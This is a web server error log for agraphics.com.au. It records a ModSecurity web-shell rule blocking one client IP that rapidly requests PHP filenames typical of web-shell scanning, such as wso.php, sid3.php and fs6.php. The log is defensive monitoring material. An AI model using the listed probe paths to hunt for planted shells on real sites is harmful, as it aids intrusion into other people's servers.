[Thu Nov 20 16:12:34.159304 2025] [:error] [pid 55340:tid 55360] [client 20.27.30.201:4065] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kki.php"] [unique_id "aR7NcvOxD-NeMydTybCBuAAAAA8"]
[Thu Nov 20 16:12:34.733488 2025] [:error] [pid 40508:tid 40510] [client 20.27.30.201:4074] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aR7NcqxXNVCMW_ksxPtwOQAAAoA"]
[Thu Nov 20 16:12:35.562009 2025] [:error] [pid 55342:tid 55388] [client 20.27.30.201:4019] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aR7Nc7g6x32Tvk7fIG-8rwAAAFA"]
[Thu Nov 20 16:12:36.347963 2025] [:error] [pid 55430:tid 55440] [client 20.27.30.201:4041] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aR7NdPPZXaIMEU4pE7vkcAAAAMc"]
[Thu Nov 20 16:12:37.065151 2025] [:error] [pid 40445:tid 40483] [client 20.27.30.201:4063] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aR7NdVH-MuFcoWRjXpYtZQAAAkg"]
[Thu Nov 20 16:12:37.839523 2025] [:error] [pid 40415:tid 40442] [client 20.27.30.201:4044] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/view.php"] [unique_id "aR7NdahjIyLSv09svwOD-gAAAdg"]
[Thu Nov 20 16:12:39.327726 2025] [:error] [pid 40636:tid 40643] [client 20.27.30.201:3976] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/view.php"] [unique_id "aR7NdwK8BWUoW3xq0HDzbgAAA4M"]
[Thu Nov 20 16:12:40.473382 2025] [:error] [pid 34405:tid 34412] [client 20.27.30.201:4061] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/view.php"] [unique_id "aR7NeDFpvu8oRK7ATfv7AgAAAQU"]
[Thu Nov 20 16:12:41.819691 2025] [:error] [pid 40445:tid 40479] [client 20.27.30.201:3978] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/view.php"] [unique_id "aR7NeVH-MuFcoWRjXpYtaAAAAkQ"]
[Thu Nov 20 16:12:43.997311 2025] [:error] [pid 55343:tid 55403] [client 20.27.30.201:4051] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aR7Ne1WlO3EnyVMV7w6W-gAAAIQ"]
[Thu Nov 20 16:12:45.253969 2025] [:error] [pid 55343:tid 55410] [client 20.27.30.201:3977] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aR7NfVWlO3EnyVMV7w6W_AAAAIs"]
[Thu Nov 20 16:12:46.714753 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:4060] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aR7NfqKlsL5kxTa3c1zJcgAAAtY"]
[Thu Nov 20 16:12:48.483450 2025] [:error] [pid 40636:tid 40647] [client 20.27.30.201:4059] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aR7NgAK8BWUoW3xq0HDzdAAAA4c"]
[Thu Nov 20 16:12:49.541901 2025] [:error] [pid 55343:tid 55417] [client 20.27.30.201:3975] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aR7NgVWlO3EnyVMV7w6W_wAAAJI"]
[Thu Nov 20 16:12:50.574810 2025] [:error] [pid 40508:tid 40532] [client 20.27.30.201:4075] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aR7NgqxXNVCMW_ksxPtwTwAAApY"]
[Thu Nov 20 16:12:52.785091 2025] [:error] [pid 55343:tid 55411] [client 20.27.30.201:3974] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aR7NhFWlO3EnyVMV7w6XAAAAAIw"]
[Thu Nov 20 16:12:55.160294 2025] [:error] [pid 40445:tid 40492] [client 20.27.30.201:4064] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aR7Nh1H-MuFcoWRjXpYtcQAAAlE"]
[Thu Nov 20 16:12:56.024373 2025] [:error] [pid 55430:tid 55454] [client 20.27.30.201:4079] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aR7NiPPZXaIMEU4pE7vkeAAAANU"]
[Thu Nov 20 16:12:59.711021 2025] [:error] [pid 55343:tid 55406] [client 20.27.30.201:4095] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aR7Ni1WlO3EnyVMV7w6XAwAAAIc"]
[Thu Nov 20 16:13:00.680835 2025] [:error] [pid 55343:tid 55408] [client 20.27.30.201:3973] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aR7NjFWlO3EnyVMV7w6XBAAAAIk"]
[Thu Nov 20 16:13:01.451010 2025] [:error] [pid 40415:tid 40441] [client 20.27.30.201:4039] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aR7NjahjIyLSv09svwOEBAAAAdc"]
[Thu Nov 20 16:13:02.620291 2025] [:error] [pid 40537:tid 40546] [client 20.27.30.201:3972] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aR7NjqKlsL5kxTa3c1zJdgAAAsU"]
[Thu Nov 20 16:13:03.305126 2025] [:error] [pid 55343:tid 55414] [client 20.27.30.201:4062] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aR7Nj1WlO3EnyVMV7w6XBgAAAI8"]
[Thu Nov 20 16:13:04.099456 2025] [:error] [pid 55343:tid 55404] [client 20.27.30.201:3986] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aR7NkFWlO3EnyVMV7w6XBwAAAIU"]
[Thu Nov 20 16:13:04.861887 2025] [:error] [pid 40415:tid 40420] [client 20.27.30.201:4046] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aR7NkKhjIyLSv09svwOEBQAAAcI"]
[Thu Nov 20 16:13:05.817662 2025] [:error] [pid 55430:tid 55445] [client 20.27.30.201:3913] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aR7NkfPZXaIMEU4pE7vkgQAAAMw"]
[Thu Nov 20 16:13:06.563360 2025] [:error] [pid 40508:tid 40523] [client 20.27.30.201:4017] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aR7NkqxXNVCMW_ksxPtwaAAAAo0"]
[Thu Nov 20 16:13:07.483510 2025] [:error] [pid 55340:tid 55345] [client 20.27.30.201:3981] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aR7Nk_OxD-NeMydTybCBxQAAAAA"]
[Thu Nov 20 16:13:08.649912 2025] [:error] [pid 55430:tid 55449] [client 20.27.30.201:4012] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aR7NlPPZXaIMEU4pE7vkhgAAANA"]
[Thu Nov 20 16:13:08.957462 2025] [:error] [pid 40445:tid 40489] [client 20.27.30.201:4052] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4yps5d.php"] [unique_id "aR7NlFH-MuFcoWRjXpYtfAAAAk4"]
[Thu Nov 20 16:13:09.380352 2025] [:error] [pid 40508:tid 40517] [client 20.27.30.201:4038] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4yps5d.php"] [unique_id "aR7NlaxXNVCMW_ksxPtwagAAAoc"]
[Thu Nov 20 16:13:10.842390 2025] [:error] [pid 40445:tid 40488] [client 20.27.30.201:3982] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4yps5d.php"] [unique_id "aR7NllH-MuFcoWRjXpYtfgAAAk0"]
[Thu Nov 20 16:13:11.443881 2025] [:error] [pid 55340:tid 55351] [client 20.27.30.201:3980] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4yps5d.php"] [unique_id "aR7Nl_OxD-NeMydTybCBxwAAAAY"]
[Thu Nov 20 16:13:12.203423 2025] [:error] [pid 40445:tid 40478] [client 20.27.30.201:4045] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "aR7NmFH-MuFcoWRjXpYtfwAAAkM"]
[Thu Nov 20 16:13:13.644098 2025] [:error] [pid 40445:tid 40495] [client 20.27.30.201:4037] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "aR7NmVH-MuFcoWRjXpYtgQAAAlQ"]
[Thu Nov 20 16:13:14.477325 2025] [:error] [pid 40508:tid 40521] [client 20.27.30.201:4093] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "aR7NmqxXNVCMW_ksxPtweAAAAos"]
[Thu Nov 20 16:13:15.735727 2025] [:error] [pid 40445:tid 40482] [client 20.27.30.201:4086] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "aR7Nm1H-MuFcoWRjXpYthQAAAkc"]
[Thu Nov 20 16:13:16.656619 2025] [:error] [pid 55342:tid 55386] [client 20.27.30.201:3970] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aR7NnLg6x32Tvk7fIG-80wAAAE4"]
[Thu Nov 20 16:13:19.015142 2025] [:error] [pid 40445:tid 40490] [client 20.27.30.201:4035] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aR7Nn1H-MuFcoWRjXpYthwAAAk8"]
[Thu Nov 20 16:13:19.831273 2025] [:error] [pid 40415:tid 40439] [client 20.27.30.201:4057] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aR7Nn6hjIyLSv09svwOEHgAAAdU"]
[Thu Nov 20 16:13:20.936610 2025] [:error] [pid 40508:tid 40528] [client 20.27.30.201:3924] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aR7NoKxXNVCMW_ksxPtwjQAAApI"]
[Thu Nov 20 16:13:21.428352 2025] [:error] [pid 55342:tid 55376] [client 20.27.30.201:4050] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aR7Nobg6x32Tvk7fIG-81AAAAEQ"]
[Thu Nov 20 16:13:22.112708 2025] [:error] [pid 55342:tid 55383] [client 20.27.30.201:4070] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aR7Norg6x32Tvk7fIG-81QAAAEs"]
[Thu Nov 20 16:13:22.976838 2025] [:error] [pid 40508:tid 40534] [client 20.27.30.201:4084] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aR7NoqxXNVCMW_ksxPtwjgAAApg"]
[Thu Nov 20 16:13:23.693289 2025] [:error] [pid 40508:tid 40518] [client 20.27.30.201:4088] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aR7No6xXNVCMW_ksxPtwkAAAAog"]
[Thu Nov 20 16:13:26.500263 2025] [:error] [pid 40537:tid 40562] [client 20.27.30.201:3971] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aR7NpqKlsL5kxTa3c1zJfAAAAtU"]
[Thu Nov 20 16:13:28.444243 2025] [:error] [pid 40537:tid 40557] [client 20.27.30.201:4058] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aR7NqKKlsL5kxTa3c1zJfQAAAtA"]
[Thu Nov 20 16:13:30.137276 2025] [proxy_fcgi:error] [pid 40636:tid 40641] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:30.267081 2025] [proxy_fcgi:error] [pid 40636:tid 40643] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:30.531844 2025] [proxy_fcgi:error] [pid 40636:tid 40658] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:30.651277 2025] [proxy_fcgi:error] [pid 40636:tid 40644] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:30.785712 2025] [proxy_fcgi:error] [pid 40636:tid 40660] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:30.922721 2025] [proxy_fcgi:error] [pid 40636:tid 40657] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.049948 2025] [proxy_fcgi:error] [pid 40636:tid 40651] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.167422 2025] [proxy_fcgi:error] [pid 40636:tid 40662] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.311255 2025] [proxy_fcgi:error] [pid 40636:tid 40659] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.433257 2025] [proxy_fcgi:error] [pid 40636:tid 40664] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.745474 2025] [proxy_fcgi:error] [pid 40636:tid 40655] [client 20.27.30.201:3997] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:13:31.883037 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:3997] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aR7NqwK8BWUoW3xq0HDzhQAAA40"]
[Thu Nov 20 16:13:32.979993 2025] [:error] [pid 40415:tid 40423] [client 20.27.30.201:3848] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aR7NrKhjIyLSv09svwOEJAAAAcU"]
[Thu Nov 20 16:13:33.564091 2025] [:error] [pid 40445:tid 40491] [client 20.27.30.201:4033] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aR7NrVH-MuFcoWRjXpYtpAAAAlA"]
[Thu Nov 20 16:13:35.327358 2025] [:error] [pid 40537:tid 40555] [client 20.27.30.201:4069] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aR7Nr6KlsL5kxTa3c1zJgQAAAs4"]
[Thu Nov 20 16:13:36.270881 2025] [:error] [pid 40415:tid 40442] [client 20.27.30.201:3929] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iko.php"] [unique_id "aR7NsKhjIyLSv09svwOEKQAAAdg"]
[Thu Nov 20 16:13:38.029344 2025] [:error] [pid 40415:tid 40429] [client 20.27.30.201:4068] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iko.php"] [unique_id "aR7NsqhjIyLSv09svwOELAAAAcs"]
